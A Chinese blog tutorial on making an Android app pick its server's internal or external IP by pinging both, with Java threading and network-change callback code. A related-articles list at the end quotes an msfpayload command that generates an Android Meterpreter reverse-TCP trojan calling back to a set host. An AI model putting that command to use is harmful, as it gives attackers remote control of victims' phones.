Android根据内网外网连接情况配置服务器访问IP
新项目的app,可通过内网和外网的服务器ip进行请求访问,但是客户提供了专业终端,终端在wifi情况下走外网内网都可以,但关闭wifi则只能走4G专网,也就是只能走内网。
可前往我的小站查看:Android根据内网外网连接情况配置服务器访问IP
方案
Android中可以直接调用底层的shell,执行相应的命令,因此只需要执行ping命令即可。Android可以通过 Process p = Runtime.getRuntime().exec(/system/bin/ping -c 1 -w 1 " + ip)执行。
然后通过if (p.waitFor() == 0)判断是否ping通,这里的两个1表示参数,第一个表示ping 1次,第二个表示操作1s即为失败。
完整实现
- 首先声明权限,这一步非常重要,在AndroidManifes文件中
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET" />
- 维持几个全局变量
String outer_ip = "183.230.XXX.XXX"; // 服务器外网IP
String inner_ip = "192.168.XXX.XXX"; // 服务器内网IP
boolean outerIpAvilable = false; // 外网可用
boolean innerIpAvialable = false; // 内网可用
- 开启两个线程去ping两个ip,并通过CountDownLatch控制同步。因为
要在两个ping结束之后,配置了ip之后才能做接下来的操作。
private void initNetworkConfig() {
try {
final int totalThread = 2;
CountDownLatch countDownLatch = new CountDownLatch(totalThread);
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(new PingNetwork(outer_ip, countDownLatch, false));
executorService.execute(new PingNetwork(inner_ip, countDownLatch, true));
countDownLatch.await(); // 等待二者执行完毕
Log.d(TAG, "end");
if (innerIpAvialable && outerIpAvilable)
Toast.makeText(this, "内外都可使用", Toast.LENGTH_SHORT).show();
else if (outerIpAvilable)
Toast.makeText(this, "外网可使用", Toast.LENGTH_SHORT).show();
else
Toast.makeText(this, "内网可使用", Toast.LENGTH_SHORT).show();
executorService.shutdown();
}catch (Exception e) {
e.printStackTrace();
}
}
- 实现ping的异步线程,
class PingNetwork implements Runnable {
String ip; // 需要ping的ip
CountDownLatch countDownLatch;
boolean isCheckInner;
public PingNetwork(String ip, CountDownLatch countDownLatch, boolean isCheckInner) {
this.ip = ip;
this.countDownLatch = countDownLatch;
this.isCheckInner = isCheckInner;
}
@Override
public void run() {
try {
Process p = Runtime.getRuntime().exec("/system/bin/ping -c 1 -w 1 " + ip);// ping网址3次
// ping的状态
final int status = p.waitFor();
if (status == 0) {
Log.d(TAG, "ping onSuccess");
if (isCheckInner){
innerIpAvialable = true;
outerIpAvilable = false;
}
else{
outerIpAvilable = true;
innerIpAvialable = false;
}
} else {
// 读取ping的error内容,查看无法ping通的原因
InputStream errorStream = p.getErrorStream();
BufferedReader errIn = new BufferedReader(new InputStreamReader(errorStream));
StringBuilder sb = new StringBuilder();
String err = "";
while ((err = errIn.readLine()) != null) {
sb.append(err);
}
Log.d(TAG, "result err : " + sb.toString());
Log.d(TAG, "ping onFailure");
}
} catch (Exception e) {
Log.d(TAG, "ping onFailure");
} finally {
countDownLatch.countDown();
}
}
}
这里在ping失败时候可以打印错误信息查看,还记得第一步是声明权限,本人没有声明第二个权限,在这里得到了一个错误信息Pemission denied,网上说什么root的都有,其实不然。
完善
通过以上的实现,可以实现通过内网外网连接情况配置访问服务器的ip,但是设想一下,如果在app启动时,手机可以访问外网,所以程序配置了外网的ip(因为外网速度快),但是在使用的过程中,关闭了外网访问,比如说wifi,此时走了专网,即内网,则无法再访问服务器了。所以在切换网络时,需要从新配置访问ip。
因此,需要再app里面通过广播的方式,在android N(android 7)之前,可以通过android.net.conn.CONNECTIVITY_CHANGE广播,可以静态注册和动态注册,然而在7之后,改广播无效了,可以使用以下方案替换。
ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
connectivityManager.requestNetwork(new NetworkRequest.Builder().build(),
new ConnectivityManager.NetworkCallback() {
@Override public void onAvailable(Network network) {
super.onAvailable(network);
LogUtil.d("网络发生改变,更改配置");
NetworkUtils.initNetworkConfig();
}
});
NetworkUtils.initNetworkConfig();是我对上面通过ping配置ip的封装。
Android根据内网外网连接情况配置服务器访问IP的更多相关文章
- [转] 如何设置双网卡同时连接内网外网_bpao_新浪博客
已剪辑自: http://blog.sina.com.cn/s/blog_5d3e229c0100skwe.html 如何设置双网卡同时连接内网外网 . 通过无线网络连接外网,确保连接成功后开始第二步 ...
- win10内网外网智能访问
当电脑同时连接有线和WiFi时(有线连接为内网,WiFi为外网),会出现内网和外网内容无法同时访问的情况. 本方法实现内网和外网的同时访问. 第一步: 输入指令 “route print ” 查看路由 ...
- Ubuntu16.04双网卡配置,内网外网同时访问
Ubuntu16.04双网卡配置,内网外网同时访问 配置:vim/etc/network/interface auto lo iface lo inet loopback auto eno1 ifac ...
- C#获取本机内网外网IP
using System.Net; # region 获取内.外网Ip /// <summary> /// 获取本地ip地址,优先取内网ip /// </summary> pu ...
- 配置windows路由表,使电脑同时连接内网外网方法
1.环境一(系统:windows xp,内网.外网不是同一类地址,内网地址固定): 外网:通过笔记本的无线网卡连接: 内网:通过笔记本的本地连接: 第一步,连接网线,配置本地连接地址,注意IP地址不要 ...
- kali linux android木马(内网+外网)
1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > a ...
- 【转】配置windows路由表,使电脑同时连接内网外网方法
1. 公司内部,内网和外网的网关不一样,怎么样让电脑可以同时上内网和外网呢? 来一张不相关的磁盘结构图: ----------------------------------------------- ...
- FTP搭建 共享上网 穿透内网外网
1.ftp原理介绍 FTP只通过TCP连接,没有用于FTP的UDP组件.FTP不同于其他服务的是它使用了两个端口, 一个数据端口和一个命令端口(或称为控制端口).通常21端口是命令端口,20端口是数据 ...
- ubuntu双网卡配置,实现内网外网同时访问!
我们假定内网IP为:10.35.0.58,内网网关为:10.35.0.254:外网IP为222.76.250.4,外网网关为:222.76.250.1.其中局域名网需要连接:10.35.0.X,10. ...
随机推荐
- TP5配置隐藏入口index.php文件,Apache/phpstudy
一,找到/public/.htaccess文件,如果你的入口文件已经移动到根目录下,那么你的.htaccess文件也要剪切到根目录下,总之要确保.htaccess跟入口的index.php保持同级. ...
- Flink原理(三)——Task(任务)、Operator Chain(算子链)和Slot(资源)
本文是参考官方文档结合自己的理解写的,所引用文献均已指明来源,若侵权请留言告知,我会立马删除.此外,若是表达欠妥的地方,欢迎大伙留言指出. 前言 在上一篇博客Flink原理(二) ——资源一文中已简要 ...
- windows系统开机执行文件
以下都是在windows系统下执行的 开机自启程序 新建xxx.bat的文件 编辑自己的bat文件,将所要加载的项目引导进来 注意: 如果有相对路径的话,就需要先加载项目,在用python 执行脚本程 ...
- CentOS7 yum方式 安装mysql 5.7.28步骤
CentOS7系统yum方式安装MySQL5.7 最新的yum源可以去http://dev.mysql.com/downloads/repo/yum下载 1.获取mysql官方yum reposito ...
- python 私有和保护成员变量如何实现?—— "单下划线 " 开始的成员变量叫做保护变量,意思是只有类实例和子类实例能访问到这些变量;" 双下划线 " 开始的是私有成员,意思是只有类对象自己能访问,连子类对象也不能访问到这个数据
默认情况下,Python中的成员函数和成员变量都是公开的(public),在python中没有类似public,private等关键词来修饰成员函数和成员变量.在python中定义私有变量只需要在变量 ...
- 0024SpringMVC中几个常见注解的实验
对SpringMVC中的以下几个常用注解进行简单的实验测试: 1.@RequestParam 2.@PathVariable 3.@RequestBody 4.@RequestHeader 5.@Co ...
- scala 中的集合类
集合最重要的继承路线 —— Traversable -> Iterable -> Seq -> LinerSeq -> List Traversable 中的公有方法: 分类 ...
- phpcms站点部署
1 wamp部署使用wamp2.4以下版本. 2.4版本自带的php5.4以上底层变化,phpcms运行不了. 2.2版自带的php5.3.10可以兼容. 2 安装配置时,尽量为每个站点配置(http ...
- Spring Task定时任务的配置和使用详解
spring中使用定时任务 1.基于xml配置文件使用定时任务 首先配置spring开启定时任务 <beans xmlns="http://www.springframework.or ...
- Oracle字符串中包含数字、特殊符号的排序
问题描述: 某小区,需要按照小区.楼栋.单元号.房间号进行排序,但是按照地址描述排序时,因为字符串中包含数字,所以造成了如下的结果, 1号楼之后应该是2号楼,但是查询结果却是10号楼 . 尝试解决 使 ...